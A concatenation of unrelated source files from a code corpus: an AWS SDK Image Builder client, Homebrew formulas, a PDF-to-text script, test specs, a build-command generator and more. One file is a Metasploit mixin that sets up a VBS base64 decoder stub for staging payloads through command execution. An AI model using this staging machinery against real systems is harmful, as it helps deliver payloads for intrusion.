# max_results: 1,
# next_token: "PaginationToken",
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_version_list #=> Array
# resp.image_version_list[0].arn #=> String
# resp.image_version_list[0].name #=> String
# resp.image_version_list[0].version #=> String
# resp.image_version_list[0].platform #=> String, one of "Windows", "Linux"
# resp.image_version_list[0].os_version #=> String
# resp.image_version_list[0].owner #=> String
# resp.image_version_list[0].date_created #=> String
# resp.next_token #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ListImages AWS API Documentation
#
# @overload list_images(params = {})
# @param [Hash] params ({})
def list_images(params = {}, options = {})
req = build_request(:list_images, params)
req.send_request(options)
end
# Returns a list of infrastructure configurations.
#
# @option params [Array<Types::Filter>] :filters
# The filters.
#
# @option params [Integer] :max_results
# The maximum items to return in a request.
#
# @option params [String] :next_token
# A token to specify where to start paginating. This is the NextToken
# from a previously truncated response.
#
# @return [Types::ListInfrastructureConfigurationsResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListInfrastructureConfigurationsResponse#request_id #request_id} => String
# * {Types::ListInfrastructureConfigurationsResponse#infrastructure_configuration_summary_list #infrastructure_configuration_summary_list} => Array<Types::InfrastructureConfigurationSummary>
# * {Types::ListInfrastructureConfigurationsResponse#next_token #next_token} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
# @example Request syntax with placeholder values
#
# resp = client.list_infrastructure_configurations({
# filters: [
# {
# name: "FilterName",
# values: ["FilterValue"],
# },
# ],
# max_results: 1,
# next_token: "PaginationToken",
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.infrastructure_configuration_summary_list #=> Array
# resp.infrastructure_configuration_summary_list[0].arn #=> String
# resp.infrastructure_configuration_summary_list[0].name #=> String
# resp.infrastructure_configuration_summary_list[0].description #=> String
# resp.infrastructure_configuration_summary_list[0].date_created #=> String
# resp.infrastructure_configuration_summary_list[0].date_updated #=> String
# resp.infrastructure_configuration_summary_list[0].resource_tags #=> Hash
# resp.infrastructure_configuration_summary_list[0].resource_tags["TagKey"] #=> String
# resp.infrastructure_configuration_summary_list[0].tags #=> Hash
# resp.infrastructure_configuration_summary_list[0].tags["TagKey"] #=> String
# resp.next_token #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ListInfrastructureConfigurations AWS API Documentation
#
# @overload list_infrastructure_configurations(params = {})
# @param [Hash] params ({})
def list_infrastructure_configurations(params = {}, options = {})
req = build_request(:list_infrastructure_configurations, params)
req.send_request(options)
end
# Returns the list of tags for the specified resource.
#
# @option params [required, String] :resource_arn
# The Amazon Resource Name (ARN) of the resource whose tags you want to
# retrieve.
#
# @return [Types::ListTagsForResourceResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListTagsForResourceResponse#tags #tags} => Hash<String,String>
#
# @example Request syntax with placeholder values
#
# resp = client.list_tags_for_resource({
# resource_arn: "ImageBuilderArn", # required
# })
#
# @example Response structure
#
# resp.tags #=> Hash
# resp.tags["TagKey"] #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ListTagsForResource AWS API Documentation
#
# @overload list_tags_for_resource(params = {})
# @param [Hash] params ({})
def list_tags_for_resource(params = {}, options = {})
req = build_request(:list_tags_for_resource, params)
req.send_request(options)
end
# Applies a policy to a component. We recommend that you call the RAM
# API [CreateResourceShare][1] to share resources. If you call the Image
# Builder API `PutComponentPolicy`, you must also call the RAM API
# [PromoteResourceShareCreatedFromPolicy][2] in order for the resource
# to be visible to all principals with whom the resource is shared.
#
#
#
# [1]: https://docs.aws.amazon.com/ram/latest/APIReference/API_CreateResourceShare.html
# [2]: https://docs.aws.amazon.com/ram/latest/APIReference/API_PromoteResourceShareCreatedFromPolicy.html
#
# @option params [required, String] :component_arn
# The Amazon Resource Name (ARN) of the component that this policy
# should be applied to.
#
# @option params [required, String] :policy
# The policy to apply.
#
# @return [Types::PutComponentPolicyResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::PutComponentPolicyResponse#request_id #request_id} => String
# * {Types::PutComponentPolicyResponse#component_arn #component_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.put_component_policy({
# component_arn: "ComponentBuildVersionArn", # required
# policy: "ResourcePolicyDocument", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.component_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/PutComponentPolicy AWS API Documentation
#
# @overload put_component_policy(params = {})
# @param [Hash] params ({})
def put_component_policy(params = {}, options = {})
req = build_request(:put_component_policy, params)
req.send_request(options)
end
# Applies a policy to an image. We recommend that you call the RAM API
# [CreateResourceShare][1] to share resources. If you call the Image
# Builder API `PutImagePolicy`, you must also call the RAM API
# [PromoteResourceShareCreatedFromPolicy][2] in order for the resource
# to be visible to all principals with whom the resource is shared.
#
#
#
# [1]: https://docs.aws.amazon.com/ram/latest/APIReference/API_CreateResourceShare.html
# [2]: https://docs.aws.amazon.com/ram/latest/APIReference/API_PromoteResourceShareCreatedFromPolicy.html
#
# @option params [required, String] :image_arn
# The Amazon Resource Name (ARN) of the image that this policy should be
# applied to.
#
# @option params [required, String] :policy
# The policy to apply.
#
# @return [Types::PutImagePolicyResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::PutImagePolicyResponse#request_id #request_id} => String
# * {Types::PutImagePolicyResponse#image_arn #image_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.put_image_policy({
# image_arn: "ImageBuildVersionArn", # required
# policy: "ResourcePolicyDocument", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/PutImagePolicy AWS API Documentation
#
# @overload put_image_policy(params = {})
# @param [Hash] params ({})
def put_image_policy(params = {}, options = {})
req = build_request(:put_image_policy, params)
req.send_request(options)
end
# Applies a policy to an image recipe. We recommend that you call the
# RAM API [CreateResourceShare][1] to share resources. If you call the
# Image Builder API `PutImageRecipePolicy`, you must also call the RAM
# API [PromoteResourceShareCreatedFromPolicy][2] in order for the
# resource to be visible to all principals with whom the resource is
# shared.
#
#
#
# [1]: https://docs.aws.amazon.com/ram/latest/APIReference/API_CreateResourceShare.html
# [2]: https://docs.aws.amazon.com/ram/latest/APIReference/API_PromoteResourceShareCreatedFromPolicy.html
#
# @option params [required, String] :image_recipe_arn
# The Amazon Resource Name (ARN) of the image recipe that this policy
# should be applied to.
#
# @option params [required, String] :policy
# The policy to apply.
#
# @return [Types::PutImageRecipePolicyResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::PutImageRecipePolicyResponse#request_id #request_id} => String
# * {Types::PutImageRecipePolicyResponse#image_recipe_arn #image_recipe_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.put_image_recipe_policy({
# image_recipe_arn: "ImageRecipeArn", # required
# policy: "ResourcePolicyDocument", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_recipe_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/PutImageRecipePolicy AWS API Documentation
#
# @overload put_image_recipe_policy(params = {})
# @param [Hash] params ({})
def put_image_recipe_policy(params = {}, options = {})
req = build_request(:put_image_recipe_policy, params)
req.send_request(options)
end
# Manually triggers a pipeline to create an image.
#
# @option params [required, String] :image_pipeline_arn
# The Amazon Resource Name (ARN) of the image pipeline that you want to
# manually invoke.
#
# @option params [required, String] :client_token
# The idempotency token used to make this request idempotent.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::StartImagePipelineExecutionResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::StartImagePipelineExecutionResponse#request_id #request_id} => String
# * {Types::StartImagePipelineExecutionResponse#client_token #client_token} => String
# * {Types::StartImagePipelineExecutionResponse#image_build_version_arn #image_build_version_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.start_image_pipeline_execution({
# image_pipeline_arn: "ImagePipelineArn", # required
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.image_build_version_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/StartImagePipelineExecution AWS API Documentation
#
# @overload start_image_pipeline_execution(params = {})
# @param [Hash] params ({})
def start_image_pipeline_execution(params = {}, options = {})
req = build_request(:start_image_pipeline_execution, params)
req.send_request(options)
end
# Adds a tag to a resource.
#
# @option params [required, String] :resource_arn
# The Amazon Resource Name (ARN) of the resource that you want to tag.
#
# @option params [required, Hash<String,String>] :tags
# The tags to apply to the resource.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.tag_resource({
# resource_arn: "ImageBuilderArn", # required
# tags: { # required
# "TagKey" => "TagValue",
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/TagResource AWS API Documentation
#
# @overload tag_resource(params = {})
# @param [Hash] params ({})
def tag_resource(params = {}, options = {})
req = build_request(:tag_resource, params)
req.send_request(options)
end
# Removes a tag from a resource.
#
# @option params [required, String] :resource_arn
# The Amazon Resource Name (ARN) of the resource that you want to untag.
#
# @option params [required, Array<String>] :tag_keys
# The tag keys to remove from the resource.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.untag_resource({
# resource_arn: "ImageBuilderArn", # required
# tag_keys: ["TagKey"], # required
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/UntagResource AWS API Documentation
#
# @overload untag_resource(params = {})
# @param [Hash] params ({})
def untag_resource(params = {}, options = {})
req = build_request(:untag_resource, params)
req.send_request(options)
end
# Updates a new distribution configuration. Distribution configurations
# define and configure the outputs of your pipeline.
#
# @option params [required, String] :distribution_configuration_arn
# The Amazon Resource Name (ARN) of the distribution configuration that
# you want to update.
#
# @option params [String] :description
# The description of the distribution configuration.
#
# @option params [required, Array<Types::Distribution>] :distributions
# The distributions of the distribution configuration.
#
# @option params [required, String] :client_token
# The idempotency token of the distribution configuration.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::UpdateDistributionConfigurationResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateDistributionConfigurationResponse#request_id #request_id} => String
# * {Types::UpdateDistributionConfigurationResponse#client_token #client_token} => String
# * {Types::UpdateDistributionConfigurationResponse#distribution_configuration_arn #distribution_configuration_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.update_distribution_configuration({
# distribution_configuration_arn: "DistributionConfigurationArn", # required
# description: "NonEmptyString",
# distributions: [ # required
# {
# region: "NonEmptyString", # required
# ami_distribution_configuration: {
# name: "AmiNameString",
# description: "NonEmptyString",
# target_account_ids: ["AccountId"],
# ami_tags: {
# "TagKey" => "TagValue",
# },
# kms_key_id: "NonEmptyString",
# launch_permission: {
# user_ids: ["AccountId"],
# user_groups: ["NonEmptyString"],
# },
# },
# license_configuration_arns: ["LicenseConfigurationArn"],
# },
# ],
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.distribution_configuration_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/UpdateDistributionConfiguration AWS API Documentation
#
# @overload update_distribution_configuration(params = {})
# @param [Hash] params ({})
def update_distribution_configuration(params = {}, options = {})
req = build_request(:update_distribution_configuration, params)
req.send_request(options)
end
# Updates a new image pipeline. Image pipelines enable you to automate
# the creation and distribution of images.
#
# @option params [required, String] :image_pipeline_arn
# The Amazon Resource Name (ARN) of the image pipeline that you want to
# update.
#
# @option params [String] :description
# The description of the image pipeline.
#
# @option params [required, String] :image_recipe_arn
# The Amazon Resource Name (ARN) of the image recipe that will be used
# to configure images updated by this image pipeline.
#
# @option params [required, String] :infrastructure_configuration_arn
# The Amazon Resource Name (ARN) of the infrastructure configuration
# that will be used to build images updated by this image pipeline.
#
# @option params [String] :distribution_configuration_arn
# The Amazon Resource Name (ARN) of the distribution configuration that
# will be used to configure and distribute images updated by this image
# pipeline.
#
# @option params [Types::ImageTestsConfiguration] :image_tests_configuration
# The image test configuration of the image pipeline.
#
# @option params [Boolean] :enhanced_image_metadata_enabled
# Collects additional information about the image being created,
# including the operating system (OS) version and package list. This
# information is used to enhance the overall experience of using EC2
# Image Builder. Enabled by default.
#
# @option params [Types::Schedule] :schedule
# The schedule of the image pipeline.
#
# @option params [String] :status
# The status of the image pipeline.
#
# @option params [required, String] :client_token
# The idempotency token used to make this request idempotent.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::UpdateImagePipelineResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateImagePipelineResponse#request_id #request_id} => String
# * {Types::UpdateImagePipelineResponse#client_token #client_token} => String
# * {Types::UpdateImagePipelineResponse#image_pipeline_arn #image_pipeline_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.update_image_pipeline({
# image_pipeline_arn: "ImagePipelineArn", # required
# description: "NonEmptyString",
# image_recipe_arn: "ImageRecipeArn", # required
# infrastructure_configuration_arn: "InfrastructureConfigurationArn", # required
# distribution_configuration_arn: "DistributionConfigurationArn",
# image_tests_configuration: {
# image_tests_enabled: false,
# timeout_minutes: 1,
# },
# enhanced_image_metadata_enabled: false,
# schedule: {
# schedule_expression: "NonEmptyString",
# pipeline_execution_start_condition: "EXPRESSION_MATCH_ONLY", # accepts EXPRESSION_MATCH_ONLY, EXPRESSION_MATCH_AND_DEPENDENCY_UPDATES_AVAILABLE
# },
# status: "DISABLED", # accepts DISABLED, ENABLED
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.image_pipeline_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/UpdateImagePipeline AWS API Documentation
#
# @overload update_image_pipeline(params = {})
# @param [Hash] params ({})
def update_image_pipeline(params = {}, options = {})
req = build_request(:update_image_pipeline, params)
req.send_request(options)
end
# Updates a new infrastructure configuration. An infrastructure
# configuration defines the environment in which your image will be
# built and tested.
#
# @option params [required, String] :infrastructure_configuration_arn
# The Amazon Resource Name (ARN) of the infrastructure configuration
# that you want to update.
#
# @option params [String] :description
# The description of the infrastructure configuration.
#
# @option params [Array<String>] :instance_types
# The instance types of the infrastructure configuration. You can
# specify one or more instance types to use for this build. The service
# will pick one of these instance types based on availability.
#
# @option params [required, String] :instance_profile_name
# The instance profile to associate with the instance used to customize
# your EC2 AMI.
#
# @option params [Array<String>] :security_group_ids
# The security group IDs to associate with the instance used to
# customize your EC2 AMI.
#
# @option params [String] :subnet_id
# The subnet ID to place the instance used to customize your EC2 AMI in.
#
# @option params [Types::Logging] :logging
# The logging configuration of the infrastructure configuration.
#
# @option params [String] :key_pair
# The key pair of the infrastructure configuration. This can be used to
# log on to and debug the instance used to create your image.
#
# @option params [Boolean] :terminate_instance_on_failure
# The terminate instance on failure setting of the infrastructure
# configuration. Set to false if you want Image Builder to retain the
# instance used to configure your AMI if the build or test phase of your
# workflow fails.
#
# @option params [String] :sns_topic_arn
# The SNS topic on which to send image build events.
#
# @option params [required, String] :client_token
# The idempotency token used to make this request idempotent.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @option params [Hash<String,String>] :resource_tags
# The tags attached to the resource created by Image Builder.
#
# @return [Types::UpdateInfrastructureConfigurationResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UpdateInfrastructureConfigurationResponse#request_id #request_id} => String
# * {Types::UpdateInfrastructureConfigurationResponse#client_token #client_token} => String
# * {Types::UpdateInfrastructureConfigurationResponse#infrastructure_configuration_arn #infrastructure_configuration_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.update_infrastructure_configuration({
# infrastructure_configuration_arn: "InfrastructureConfigurationArn", # required
# description: "NonEmptyString",
# instance_types: ["InstanceType"],
# instance_profile_name: "NonEmptyString", # required
# security_group_ids: ["NonEmptyString"],
# subnet_id: "NonEmptyString",
# logging: {
# s3_logs: {
# s3_bucket_name: "NonEmptyString",
# s3_key_prefix: "NonEmptyString",
# },
# },
# key_pair: "NonEmptyString",
# terminate_instance_on_failure: false,
# sns_topic_arn: "SnsTopicArn",
# client_token: "ClientToken", # required
# resource_tags: {
# "TagKey" => "TagValue",
# },
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.infrastructure_configuration_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/UpdateInfrastructureConfiguration AWS API Documentation
#
# @overload update_infrastructure_configuration(params = {})
# @param [Hash] params ({})
def update_infrastructure_configuration(params = {}, options = {})
req = build_request(:update_infrastructure_configuration, params)
req.send_request(options)
end
# @!endgroup
# @param params ({})
# @api private
def build_request(operation_name, params = {})
handlers = @handlers.for(operation_name)
context = Seahorse::Client::RequestContext.new(
operation_name: operation_name,
operation: config.api.operation(operation_name),
client: self,
params: params,
config: config)
context[:gem_name] = 'aws-sdk-imagebuilder'
context[:gem_version] = '1.16.0'
Seahorse::Client::Request.new(handlers, context)
end
# @api private
# @deprecated
def waiter_names
[]
end
class << self
# @api private
attr_reader :identifier
# @api private
def errors_module
Errors
end
end
end
end
| 45.31833 | 228 | 0.675544 |
ab85c9f501c0b6f89d937a4ff8723e9e50cd52fa | 4,034 | class IncludeWhatYouUse < Formula
desc "Tool to analyze #includes in C and C++ source files"
homepage "https://include-what-you-use.org/"
url "https://include-what-you-use.org/downloads/include-what-you-use-0.15.src.tar.gz"
sha256 "2bd6f2ae0d76e4a9412f468a5fa1af93d5f20bb66b9e7bf73479c31d789ac2e2"
license "NCSA"
revision 1
# This omits the 3.3, 3.4, and 3.5 versions, which come from the older
# version scheme like `Clang+LLVM 3.5` (25 November 2014). The current
# versions are like: `include-what-you-use 0.15 (aka Clang+LLVM 11)`
# (21 November 2020).
livecheck do
url "https://include-what-you-use.org/downloads/"
regex(/href=.*?include-what-you-use[._-]v?((?!3\.[345])\d+(?:\.\d+)+)[._-]src\.t/i)
end
bottle do
sha256 big_sur: "5c106df7922e05e61e2a3b6e625c0c06afc254a63f7b1ac8506c292455487207"
sha256 arm64_big_sur: "f62162f5365b047b87134efef2b50f24e258bf850eecda6b8ee4b29166fab099"
sha256 catalina: "dd12e81abc59893a49bf42f12d86998a11563032fdb3e87f6325dca9dadfa29b"
sha256 mojave: "1d4904f0adafd004c47d7c23244bbd34ee301cc26cd3211901515c1b0f194340"
sha256 cellar: :any_skip_relocation, x86_64_linux: "58499b736151f9adf320b32a9bce343794d86f31cf6fb46de5f7ae8a18bdc4ba"
end
depends_on "cmake" => :build
depends_on "llvm" # include-what-you-use 0.15 is compatible with llvm 11.0
uses_from_macos "ncurses"
uses_from_macos "zlib"
depends_on "gcc" => :build unless OS.mac? # libstdc++
def install
# We do not want to symlink clang or libc++ headers into HOMEBREW_PREFIX,
# so install to libexec to ensure that the resource path, which is always
# computed relative to the location of the include-what-you-use executable
# and is not configurable, is also located under libexec.
args = std_cmake_args + %W[
-DCMAKE_INSTALL_PREFIX=#{libexec}
-DCMAKE_PREFIX_PATH=#{Formula["llvm"].opt_lib}
-DCMAKE_CXX_FLAGS=-std=gnu++14
]
mkdir "build" do
system "cmake", *args, ".."
system "make"
system "make", "install"
end
bin.write_exec_script Dir["#{libexec}/bin/*"]
# include-what-you-use needs a copy of the clang and libc++ headers to be
# located in specific folders under its resource path. These may need to be
# updated when new major versions of llvm are released, i.e., by
# incrementing the version of include-what-you-use or the revision of this
# formula. This would be indicated by include-what-you-use failing to
# locate stddef.h and/or stdlib.h when running the test block below.
# https://clang.llvm.org/docs/LibTooling.html#libtooling-builtin-includes
mkdir_p libexec/"lib/clang/#{Formula["llvm"].version}"
cp_r Formula["llvm"].opt_lib/"clang/#{Formula["llvm"].version}/include",
libexec/"lib/clang/#{Formula["llvm"].version}"
mkdir_p libexec/"include"
cp_r Formula[OS.mac? ? "llvm" : "gcc"].opt_include/"c++", libexec/"include"
end
test do
(testpath/"direct.h").write <<~EOS
#include <stddef.h>
size_t function() { return (size_t)0; }
EOS
(testpath/"indirect.h").write <<~EOS
#include "direct.h"
EOS
(testpath/"main.c").write <<~EOS
#include "indirect.h"
int main() {
return (int)function();
}
EOS
expected_output = <<~EOS
main.c should add these lines:
#include "direct.h" // for function
main.c should remove these lines:
- #include "indirect.h" // lines 1-1
The full include-list for main.c:
#include "direct.h" // for function
---
EOS
assert_match expected_output,
shell_output("#{bin}/include-what-you-use main.c 2>&1", 4)
(testpath/"main.cc").write <<~EOS
#include <iostream>
int main() {
std::cout << "Hello, world!" << std::endl;
return 0;
}
EOS
expected_output = <<~EOS
(main.cc has correct #includes/fwd-decls)
EOS
assert_match expected_output,
shell_output("#{bin}/include-what-you-use main.cc 2>&1", 2)
end
end
| 37.351852 | 121 | 0.679474 |
879bc214dca9571afec4f0407eddfae94936536e | 782 | ##
# $Id$
##
require 'msf/core/exploit/cmdstager'
module Msf
###
#
# This mixin provides an interface for staging cmd to arbitrary payloads
#
###
module Exploit::CmdStagerVBS
include Msf::Exploit::CmdStager
def initialize(info = {})
super
register_advanced_options(
[
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64")]),
], self.class)
end
def create_stager(exe)
Rex::Exploitation::CmdStagerVBS.new(exe)
end
def execute_cmdstager(opts = {})
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
super
end
def generate_cmdstager(opts = {}, pl = nil)
opts.merge!({ :decoder => datastore['DECODERSTUB'] })
super
end
end
end
| 17.772727 | 87 | 0.677749 |
e8b6c4775ed95c02d6820a6669d7127bb1d087f5 | 1,092 | #!/usr/bin/env ruby
require 'optparse'
require 'shellwords'
require 'ostruct'
opt = OpenStruct.new
parser = OptionParser.new do |op|
op.banner = "usage: #{File.basename($0)} <file>.pdf ..."
op.separator "output: <file>.txt ..."
op.on("-f", "--formfeed", "remove the formfeed lines") {|v| opt.formfeed = v }
op.on("-k", "--kill <regexp>", "kill any line with regex") {|v| opt.kill = Regexp.new(v) }
op.on("-s", "--sentencesplit", "split out lines on sentences") {|v| opt.sentencesplit = v }
end
parser.parse!
if ARGV.size == 0
puts parser
exit
end
ARGV.each do |file|
base = file.chomp(File.extname(file))
textfile = base + ".txt"
`pdftotext -layout #{Shellwords.escape(file)}`
lines = IO.readlines(textfile)
if opt.formfeed
lines.select! {|line| line !~ /\f/ }
end
text = lines.join
text.gsub!("\n\n", " ")
lines = text.split("\n")
if opt.kill
lines.select! {|line| line !~ opt.kill }
end
text = lines.join("\n")
if opt.sentencesplit
text.gsub!(/\.(\d+)?\s+/, ".\n")
end
File.write(textfile, text)
#File.unlink textfile
end
| 22.75 | 93 | 0.619048 |
21c9fffa285ceda64c34e66b9d588c2654c0ff8a | 2,282 | describe Gamefic::Scene::MultipleChoice do
before :each do
@plot = Gamefic::Plot.new
c = Class.new(Gamefic::Entity) { include Gamefic::Active }
@character = @plot.make c, :name => 'character'
@after = @plot.pause
@chooser = @plot.multiple_choice "one", "two", "three", "next" do |actor, data|
actor[:index] = data.index
actor[:selection] = data.selection
if data.selection == 'next'
actor.cue @after
else
actor.cue @plot.default_scene
end
end
@plot.introduce @character
end
it "detects a valid numeric answer" do
['1', '2', '3', '4'].each { |answer|
@character[:index] = nil
@character[:selection] = nil
@character.cue @chooser
@character.queue.push answer
@plot.ready
@plot.update
expect(@character[:index]).to eq(answer.to_i - 1)
if answer == '4'
expect(@character.scene.class).to eq(@after)
else
expect(@character.scene.type).to eq('Activity')
end
}
end
it "detects a valid text answer" do
['one', 'two', 'three'].each { |answer|
@character[:index] = nil
@character[:selection] = nil
@character.cue @chooser
@character.queue.push answer
@plot.ready
@plot.update
expect(@character[:selection]).to eq(answer)
expect(@character.scene.type).to eq('Activity')
}
end
it "detects an invalid answer and stays in the current scene" do
@character.cue @chooser
['0', 'undecided'].each { |answer|
@character[:index] = nil
@character[:selection] = nil
@character.cue @chooser
@character.queue.push answer
@plot.ready
@plot.update
expect(@character[:index]).to eq(nil)
expect(@character[:selection]).to eq(nil)
expect(@character.scene.class).to eq(@chooser)
}
end
it "detects a valid answer and advances to a specified scene" do
['4', 'next'].each { |answer|
@character[:index] = nil
@character[:selection] = nil
@character.cue @chooser
@character.queue.push answer
@plot.ready
@plot.update
expect(@character[:index]).to eq(3)
expect(@character[:selection]).to eq('next')
expect(@character.scene.class).to eq(@after)
}
end
end
| 29.25641 | 83 | 0.605609 |
03345858da50d4a03f611f8aa0a1ec480d1ecde6 | 481 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/monitoring/dashboard/v1/drilldowns.proto
require 'google/protobuf'
require 'google/monitoring/dashboard/v1/common_pb'
Google::Protobuf::DescriptorPool.generated_pool.build do
add_file("google/monitoring/dashboard/v1/drilldowns.proto", :syntax => :proto3) do
end
end
module Google
module Cloud
module Monitoring
module Dashboard
module V1
end
end
end
end
end
| 21.863636 | 84 | 0.733888 |
083fe00d49401c92186174e7a44ee2ab892524d7 | 1,398 | # By: Eriberto Lopez
# [email protected]
# 03/13/19
needs "Plate Reader/PlateReaderConstants"
needs "Standard Libs/AssociationManagement"
module ExperimentalMeasurement
attr_accessor :measurement_type, :experimental_item, :measurement_item, :transfer_required, :measurement_data
def setup_experimental_measurement(experimental_item:, output_fv:)
@experimental_item = experimental_item
transfer?(output_fv: output_fv)
end
def transfer?(output_fv:)
if transfer_needed
output_fv.make
measurement_item = output_fv.item
else
measurement_item = experimental_item
end
@measurement_item = measurement_item
end
def transfer_needed
@transfer_required = !valid_container?
end
end
# Can this be used to represent composite wells?
class Struct
def self.hash_initialized *params
klass = Class.new(self.new(*params))
klass.class_eval do
define_method(:initialize) do |h|
super(*h.values_at(*params))
end
end
klass
end
end
# module HasProperties
# attr_accessor :props
# def self.included base
# base.extend self
# end
# def has_properties(*args)
# @props = args
# instance_eval { attr_accessor *args }
# end
# def initialize(args={})
# args.each {|k,v|
# instance_variable_set "@#{k}", v if self.class.props.member?(k)
# } if args.is_a? Hash
# end
# end | 22.548387 | 111 | 0.698856 |
6ab87613713c585b7ea1c298fe12c541423d25cc | 1,616 | module Souyuz
# Responsible for building the fully working build command
class BuildCommandGenerator
class << self
def generate
parts = prefix
parts << compiler_bin
parts += options
parts += targets
parts += project
parts += pipe
parts
end
def prefix
[""]
end
def compiler_bin
Souyuz.config[:compiler_bin]
end
def options
config = Souyuz.config
options = []
options << config[:extra_build_options] if config[:extra_build_options]
options << "-p:Configuration=#{config[:build_configuration]}" if config[:build_configuration]
options << "-p:Platform=#{config[:build_platform]}" if Souyuz.project.ios? and config[:build_platform]
options << "-p:BuildIpa=true" if Souyuz.project.ios?
if config[:solution_path]
solution_dir = File.dirname(config[:solution_path])
options << "-p:SolutionDir=#{solution_dir}/"
end
options
end
def build_targets
Souyuz.config[:build_target].map! { |t| "-t:#{t}" }
end
def targets
targets = []
targets += build_targets
targets << "-t:SignAndroidPackage" if Souyuz.project.android?
targets
end
def project
path = []
path << Souyuz.config[:project_path] # if Souyuz.project.android?
# path << Souyuz.config[:solution_path] if Souyuz.project.ios? or Souyuz.project.osx?
path
end
def pipe
pipe = []
pipe
end
end
end
end
| 23.42029 | 110 | 0.580446 |
390aa1380c1b45cae88f41ca5140698c78897950 | 3,183 | require 'formula'
class Doxygen < Formula
homepage 'http://www.doxygen.org/'
url 'http://ftp.stack.nl/pub/users/dimitri/doxygen-1.8.6.src.tar.gz'
mirror 'https://downloads.sourceforge.net/project/doxygen/rel-1.8.6/doxygen-1.8.5.src.tar.gz'
sha1 '204f1b3695c73efac44a521609c5360241d64045'
head 'https://doxygen.svn.sourceforge.net/svnroot/doxygen/trunk'
option 'with-dot', 'Build with dot command support from Graphviz.'
option 'with-doxywizard', 'Build GUI frontend with qt support.'
option 'with-libclang', 'Build with libclang support.'
depends_on 'graphviz' if build.with? 'dot'
depends_on 'qt' if build.with? 'doxywizard'
depends_on 'llvm' => 'with-clang' if build.with? 'libclang'
def patches
DATA if build.with? 'doxywizard'
end
def install
# libclang is installed under #{HOMEBREW_PREFIX}/opt/llvm/
if build.with? 'libclang'
inreplace 'configure' do |s|
s.gsub! /libclang_hdr_dir=\".*$/, "libclang_hdr_dir=\"#{HOMEBREW_PREFIX}/opt/llvm/include\""
s.gsub! /libclang_lib_dir=\".*$/, "libclang_lib_dir=\"#{HOMEBREW_PREFIX}/opt/llvm/lib\""
end
end
args = ["--prefix", prefix]
args << '--with-libclang-static' if build.with? 'libclang'
args << '--with-doxywizard' if build.with? 'doxywizard'
system "./configure", *args
# Per Macports:
# https://trac.macports.org/browser/trunk/dports/textproc/doxygen/Portfile#L92
inreplace %w[ libmd5/Makefile.libmd5
src/Makefile.libdoxycfg
tmake/lib/macosx-c++/tmake.conf
tmake/lib/macosx-intel-c++/tmake.conf
tmake/lib/macosx-uni-c++/tmake.conf ] do |s|
# makefiles hardcode both cc and c++
s.gsub! /cc$/, ENV.cc
s.gsub! /c\+\+$/, ENV.cxx
end
# This is a terrible hack; configure finds lex/yacc OK but
# one Makefile doesn't get generated with these, so pull
# them out of a known good file and cram them into the other.
lex = ''
yacc = ''
